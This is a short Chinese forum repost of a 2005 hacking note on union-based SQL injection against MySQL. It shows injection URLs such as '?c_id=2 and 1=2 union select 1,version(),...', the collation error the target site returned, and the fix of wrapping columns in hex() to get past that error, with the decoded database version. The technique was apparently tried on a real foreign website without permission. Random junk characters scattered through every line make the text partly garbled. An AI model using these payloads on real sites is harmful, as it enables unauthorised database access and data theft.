本文作者：SuperHei7 A8 C' ~" ~3 T' }2 H' ]& @, }
文章性质：原创) y- N7 s5 F( r6 U$ Q" t
发布日期：2005-10-18
- v1 g+ N( g( S s5 B2 C测试个国外的站时：
$ z* `- }# |0 [8 g8 eurl：?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
/ Q6 K. Z. W: n5 V/ F返回错误：6 x8 n7 g2 H5 z) o+ L& A3 R
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'4 ^8 g7 U. H! S, f
MySQL Error No. 1267 P" |$ G5 g$ z( ~: x; j3 K
看来是union查询前后字符集（http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html）不同出现的。4 ^9 N% Z) L4 s( s `- b
解决办法：转为其他编码如hex。
K. [3 w0 Y) u( a3 P5 q9 s! Vurl：?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
# V3 Q" f% r0 r成功得到hex(version())的值为：
3 Y M" _! I1 _- q# J n342E312E332D62657461
# P! f6 M& A( f4 n回Mysql查询下得到：
+ O- a' D2 a; r8 X5 @9 f1 I3 F& _/ Amysql> select 0x342E312E332D62657461;! O2 `% G; b8 l, G$ H+ n
+------------------------+) L% M5 }9 }8 S& k A2 q" w
| 0x342E312E332D62657461 |
: ]8 k- M( y" A+------------------------+
r& a7 a- V Q" R$ n( k| 4.1.3-beta |
0 z- M" W* J1 ^+------------------------+( `8 x3 J9 z9 v' [9 l5 ?6 [
1 row in set (0.00 sec)- Y/ i/ b. W/ D) r6 g
; S! ^; J. ~$ i0 t9 M4 `9 t |
发表于 2012-9-15 14:04:54
收藏
支持
反对